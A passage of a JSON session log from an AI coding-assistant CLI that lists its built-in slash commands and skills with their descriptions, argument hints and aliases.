true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"model\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set the AI model for Claude Code\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"__remote-workflow\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Run the workflow script delivered in this session environment (server-launched sessions only)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"workflow-launch-exec\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Execute a server-launched workflow handoff (workflow_launch event sessions only)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"reload-plugins\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Activate pending plugin changes in the current session\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[--force]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"reload-skills\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Pick up skills added or changed on disk during this session\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"rename\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Rename the current conversation\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[name]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"name\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"ultrareview\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Start a cloud agent that finds and verifies bugs in your branch (~15-25 min, $5-$25 USD) \u00b7 Runs in a cloud session. See https://code.claude.com/docs/en/claude-code-on-the-web\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"security-review\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Complete a security review of the pending changes on the current branch\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"usage-credits\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Configure usage credits or request them from your admin when you hit a limit\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"extra-usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Renamed to /usage-credits\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Show session cost, plan usage, and what's contributing to your limits\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"cost\",\n[2026-09-29T07:43:30.244Z] [INFO]         \"stats\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"insights\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Generate a report analyzing your Claude Code sessions\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"recap\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Generate a one-line session recap now\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"skill-doctor\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Show which loaded skills are unused and costing context\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"goal\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set a goal \u2014 keep working until the condition is met\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"design-consent\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Grant Claude agent access to your Design projects\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"design-revoke\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Revoke Claude agent access to your Design projects\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"list-agents\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"List subagents, teammates, and other Claude sessions you can message\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"peers\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"team-onboarding\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Help teammates ramp on Claude Code with a guide from your usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     }\n[2026-09-29T07:43:30.244Z] [INFO]   ],\n[2026-09-29T07:43:30.244Z] [INFO]   \"uuid\": \"4326207d-a1a1-4d13-b842-4a13f5443937\",\n[2026-09-29T07:43:30.244Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:43:30.244Z] [INFO] }\n[2026-09-29T07:43:30.269Z] [INFO] \ud83d\udccc Session ID: f0ddf6ec-4316-44b3-b0ba-14367918e3de\n[2026-09-29T07:43:30.274Z] [INFO] \ud83d\udcc1 Log renamed to: /home/box/f0ddf6ec-4316-44b3-b0ba-14367918e3de.log\n[2026-09-29T07:43:31.321Z] [INFO] {\n[2026-09-29T07:43:31.321Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:31.321Z] [INFO]   \"subtype\": \"commands_changed\",\n[2026-09-29T07:43:31.321Z] [INFO]   \"commands\": [\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"deep-research\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Deep research harness \u2014 fan-out web searches, fetch sources, adversarially verify claims, synthesize a cited report. (dynamic workflow)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"design\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Grant or revoke Claude agent access to your Design projects\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"consent | revoke\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"design-sync\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Push a React design system to claude.ai/design. This runs a converter that bundles the real component code (from Storybook or a bare package) and uploads it. Use when the user runs /design-sync or says \\\"sync my design system to Claude Design\\\".\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"dataviz\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill whenever you are about to create ANY chart, graph, plot, dashboard, or data visualization, in ANY output medium \u2014 an HTML or React artifact, inline SVG, plotting code in any library (matplotlib, plotly, d3, Recharts, \u2026), an image/PNG you will render and upload, or a chart shared into Slack. Read it BEFORE writing the first line of chart code, choosing chart colors, building a stat tile / meter / KPI row, or laying out a dashboard. When the destination is a first-party document connector (host-designated, never self-described) that renders live charts, hand it the rows (inline, or as an uploaded data file the chart cites) rather than a rendered PNG/SVG \u2014 a picture of a chart loses hover, data inspection and per-value comments. Produces visualizations that read as one system \u2014 elegant, accessible, consistent in light and dark \u2014 using a brand-neutral placeholder palette you swap for your own. Teaches a design-system-agnostic method: a form heuristic, a color formula with a runnable validator, mark specs, and interaction rules. A validated default palette is documented in `references/palette.md` \u2014 swap that file's values for your brand's. Triggers on: \\\"chart\\\", \\\"graph\\\", \\\"plot\\\", \\\"data viz\\\", \\\"visualization\\\", \\\"dashboard\\\", \\\"analytics\\\", \\\"visualize data\\\", \\\"categorical colors\\\", \\\"sequential / diverging palette\\\", \\\"stat tile\\\", \\\"sparkline\\\", \\\"heatmap\\\", \\\"legend\\\", \\\"axis\\\", \\\"tooltip\\\", \\\"chart colors\\\", \\\"color by series\\\".\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"update-config\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill to configure the Claude Code harness via settings.json. Automated behaviors (\\\"from now on when X\\\", \\\"each time X\\\", \\\"whenever X\\\", \\\"before/after X\\\") require hooks configured in settings.json - the harness executes these, not Claude, so memory/preferences cannot fulfill them. Also use for: permissions (\\\"allow X\\\", \\\"add permission\\\", \\\"move permission to\\\"), env vars (\\\"set X=Y\\\"), hook troubleshooting, or any changes to settings.json/settings.local.json files. Examples: \\\"allow npm commands\\\", \\\"add bq permission to global settings\\\", \\\"move permission to user settings\\\", \\\"set DEBUG=true\\\", \\\"when claude stops show X\\\". For simple settings like theme/model, suggest the /config command.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"verify\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Verify that a code change actually does what it's supposed to by exercising it end-to-end and observing behavior \u2014 drive the affected flow, not just tests or typecheck. Run before committing nontrivial changes; bootstraps this repo's project verify skill if none exists yet. Don't invoke it on a diff that only touches tests, docs, or other code with no runtime surface to drive (a change to product source always has one) \u2014 there's nothing to observe.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"debug\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Enable debug logging for this session and help diagnose issues\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[issue description]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"code-review\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Review the current diff, or a PR number/branch/path target, for correctness bugs (plus reuse/simplification/efficiency cleanups where the model's review recipe covers them) at the given effort level (low/medium: fewer, high-confidence findings; high\u2192max: broader coverage, may include uncertain findings; ultra: deep multi-agent review in the cloud); with no level given, it reuses the level you typed last. Pass --comment to post findings as inline PR comments, or --fix to apply the findings to the working tree after the review. For ultra on a GitHub.com PR target, --post asks to post the finished review\u2019s findings to the PR as a single comment from the user\u2019s GitHub account (not a review; the launch dialog still confirms in interactive sessions, while non-interactive mode posts on the flag alone) and --no-post hides that option.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[low|medium|high|xhigh|max|ultra] [--fix] [--comment] [||]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"review\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"simplify\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Review the changed code for reuse, simplification, efficiency, and altitude cleanups, then apply the fixes. Quality only \u2014 it does not hunt for bugs; use /code-review for that.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"batch\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Research and plan a large-scale change, then execute it in parallel across 5\u201330 isolated worktree agents that each open a PR.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"fewer-permission-prompts\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Scan your transcripts for common read-only Bash and MCP tool calls, then add a prioritized allowlist to project .claude/settings.json to reduce permission prompts.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"doctor\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Health-check the user's Claude Code setup and fix issues: diagnose installation health \u2014 what the `claude doctor` terminal diagnostics cover \u2014 from local data (duplicate or leftover installs, PATH, unparseable settings files, broken or colliding agent definitions, skills whose frontmatter fails to parse); find unused skills, MCP servers, and plugins versus their context cost and disable dead weight; deduplicate local CLAUDE.md files against checked-in ones; trim checked-in CLAUDE.md files by cutting content a session could derive from the codebase (directory layouts, tech-stack lists, architecture overviews) while keeping gotchas, rationale, and non-standard conventions; migrate always-loaded CLAUDE.md guidance into lazy skills and nested CLAUDE.md files; flag slow hooks and context-heavy extensions; check the installed version is current; make auto mode the default permission mode; and pre-approve frequently denied read-only commands. Use when the user asks for a doctor run, checkup, audit, tune-up, or cleanup of their Claude Code setup or configuration.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[prompt-audit []]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"checkup\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"schedule\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Create, update, list, or run scheduled cloud agents (routines) that execute on a cron schedule.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"routines\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"claude-api\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Reference for the Claude API / Anthropic SDK \u2014 model ids, pricing, params, streaming, tool use, MCP, agents, caching, token counting, model migration.\\nTRIGGER \u2014 read BEFORE opening the target file; don't skip because it \\\"looks like a one-liner\\\" \u2014 whenever: the prompt names Claude/Anthropic in any form (Claude, Anthropic, Fable, Opus, Sonnet, Haiku, `anthropic`, `@anthropic-ai`, `claude-*`, `us.anthropic.*`, `[1m]`); the user asks about an LLM (pricing/model choice/limits/caching) \u2014 never answer from memory; OR the task is LLM-shaped with provider unstated (agent/MCP/tool-definition/multi-agent/RAG/LLM-judge/computer-use; generate/summarize/extract/classify/rewrite/converse over NL; debugging refusals/cutoffs/streaming/tool-calls/tokens).\\nSKIP only when another provider is being worked on (overrides all triggers): OpenAI/GPT/Gemini/Llama/Mistral/Cohere/Ollama named in the query; OR `grep -rE 'openai|langchain_openai|google.generativeai|genai|mistralai|cohere|ollama'` over the project hits (run this grep FIRST if no provider named \u2014 don't Read the file).\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"workflow-authoring\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Reference for writing a Workflow tool script (script API and gotchas, resume, quality patterns, worked examples). Load before authoring a script for a workflow the user already opted into; it does not itself authorize running one.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"run\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Launch and drive this project's app to see a change working. Use when asked to run, start, or screenshot the app, or to confirm a change works in the real app (not just tests). First looks for a project skill that already covers launching the app; otherwise falls back to built-in patterns per project type (CLI, server, TUI, Electron, browser-driven, library).\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"run-skill-generator\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Author or improve the run- skill - a per-project skill that tells agents how to build, launch, and drive this project's app. Use when the user asks to set up the project, get it running, write run instructions, or verify build/run steps work from a clean environment.\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"advisor\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Let Claude consult a stronger model at key moments\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[fable|opus|sonnet|off]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"agents\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"(removed) Ask Claude to create/manage subagents, or edit .claude/agents/\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"auto-mode-setup\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Teach auto mode about your environment, plus optional rule tweaks\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[--request-id ] (--wizard posture=\u2026 scope=\u2026 depth=\u2026 --propose | --expect-sha256 <64-hex> --apply-file )\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"autocompact\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Configure the auto-compact window size\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[auto|]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"clear\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Start a new session with empty context; previous session stays on disk (resumable with /resume)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[name]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"reset\",\n[2026-09-29T07:43:31.321Z] [INFO]         \"new\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"color\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set the prompt bar color for this session\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[red|blue|green|yellow|purple|orange|pink|cyan|default]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"compact\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Free up context by summarizing the conversation so far\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"config\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set a setting by key\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"key=value\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"settings\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"output-style\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"List output styles or switch to one\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[style]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"context\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Show current context usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"effort\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set effort level for model usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"fast\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Toggle fast mode (Opus 5.5)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[on|off]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"focus\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Toggle focus view: just your prompt, summary, and response\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[on|off]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"heapdump\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Dump the JS heap to the Desktop; on Linux with no Desktop folder, the home directory\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     